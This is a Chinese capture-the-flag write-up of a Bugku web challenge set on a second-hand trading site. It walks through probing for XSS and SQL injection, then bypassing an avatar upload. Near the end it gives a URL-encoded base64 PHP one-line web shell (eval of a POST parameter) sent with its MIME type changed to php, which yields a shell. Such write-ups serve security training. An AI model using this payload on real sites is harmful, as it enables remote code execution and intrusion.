bugku-web-xxx二手交易市场

这里直接来到一个交易平台
还是三板斧
源码查看

<script>


$('#searchList li').click(function(){

var type=$(this).attr('aman-type');



$(this).parent().find('li').attr('class','red');

$(this).attr('class','red-on')



search();

});

function search(){

var url='/index';

var type=$("#type .red-on").attr('aman-value');

if(type!=''){

url+='/type/'+type;

}

location.href=url;

}

</script>

在源码中找到一个显露出来的script代码

响应报文查看

这里发现phpsessid,这点要注意

这里就是一个完整的网站架构,现在我们猜测flag的位置

这里有这几个跳转页面,一般来说首页没啥好测的
我们分别点开

二手

求购

公告

登录

注册

按照思路,先进行数据库渗透
公告页面首当其冲
我们查看后,发现规律
这里的页面并不是传参访问

而是直接跳转访问,所以不存在get的sql注入
先尝试下任意文件访问漏洞是否存在

这里出现个没有显示出来的页面
再然后就没有更多了

接下来就是商品页面
发现求购页面是假的,只有二手页面可以点开

发现这里访问页面传参,可以进行sql注入测试

在商品下发现评论,可以进行xss漏洞测试

先进行xss漏洞测试

要登录,先登录
随意注册了个账号,并登录

评论了两下,发现<>被注释

这种就是代表对方xss反渗透做的很好,没必要继续xss测试

接下来进行sql注入测试

这里看到闭合错误,说明这里有sql注入点

好家伙,居然对注释字符进行了过滤,无法闭合,sql注入点不存在

这下面有三个接口

因为求购页面是假的,所以先尝试发布二货

因为这里发布的填写数据,是可以被我们直接访问到的,如果我们在这些信息中包含一句话木马,是否可以利用菜刀或蚁剑连接呢

这里的二货和求购都在审核,相当离谱

相片和昵称都尝试上传一句话木马

这里可以看到,如果头像的一句话木马上传成功,则可以直接访问连接,成功getshell

上传正常图像抓包

但一旦上传非正常图像上去,就会出现加载不出来的情况
因为没有报文发送,应该是卡在前端这个图像编辑器这里
这里在选中非正常图片的报文是这样的

正常图片的报文是这样的

这里会多出一个data报文

这里我们抓取上传报文,将这里的image数据给改了,改为一句话木马

显示上传失败
有可能是没有加密

把数据夹杂进去
提示保存成功

但是这里是jpeg文件,蚁剑只能连接php文件
所以要改后缀

多次提交后发现,不论提交的是什么后缀最后都会改为jpeg后缀
从上面探查到的报文和bp抓下来的报文进行分析

这里看到data这个关键字,即下面的是上面报文加密的状态

下面解密后得到

data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4gHYSUNDX1BST0ZJTEUAAQEAAAHIAAAAAAQwAABtbnRyUkdCIFhZWiAH4AABAAEAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAACRyWFlaAAABFAAAABRnWFlaAAABKAAAABRiWFlaAAABPAAAABR3dHB0AAABUAAAABRyVFJDAAABZAAAAChnVFJDAAABZAAAAChiVFJDAAABZAAAAChjcHJ0AAABjAAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAAgAAAAcAHMAUgBHAEJYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAAt4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9YWVogAAAAAAAA9tYAAQAAAADTLXBhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABtbHVjAAAAAAAAAAEAAAAMZW5VUwAAACAAAAAcAEcAbwBvAGcAbABlACAASQBuAGMALgAgADIAMAAxADb/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wAARCAJMAkwDASIAAhEBAxEB/8QAHQAAAQQDAQEAAAAAAAAAAAAABAIDBQYAAQcICf/EAEQQAAEDAwMDAwMDAgUCAwcDBQEAAgMEESEFEjEGQVEHEyIyYXEUgZEIIxUzQlKhYrEWJHIlJkOCksHRCVPhFz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fi6dbK%2BGO09zjlR5WwMh0bXpIQ79XAQObkJQ0utYR%2BpdGR3LSte%2FE9mJ5AfASZP1MjbRSusebq0egEz0cAOXtH7pj2YGmzZB%2FKIjgAFptzifKdFNTXH9m33utAHhhAcD7gwR3Tz3PacOuPslGekpzmNx%2FZb%2FxSh%2F8A2H%2Fwm5AIEjgb7nG3ladVMF%2Fcx%2BEv%2FFaAfVA%2B34SH6ro7j84Hj8hScjE7NsqoCLANuUsAPF9rU0KrSn5jieP2T7JqY5abJORrFMDQLtbkcJ9lTMwi1khssRaQCL28pFwFqk26YsN0GtqJHkXATrAJHAXF7oKN5JAva6VG6RkpIN%2FwnSsdkiYyz%2FVhE0soa9jb43BBse97B8Xfwi6aEmzi04%2ByxujCchc22Krb%2BcI%2BkZG8k%2B7uP2N1FRxMfHlrwbeFL6a2CmjD3Ak8pHKhODJXTYhLUhkzi5jscronSL4tJq4p6V0wYGnc33L2PmyomkajRiWzor5Vy03VaSn2ObE43I7KayNCuDPQPS3UFPq9M2Nsp3M

将jpeg改为php

尝试了半天一定要把原来的图片数据删掉,这样插入的base64一句话木马才有效果

保留有用部分

插入一句话木马

image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

成功修改后缀和内容

上传成功

getshell

在当前网站目录下可以看到大量的文件,有一个文件的名称名为flag,打开查看

在这里看到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值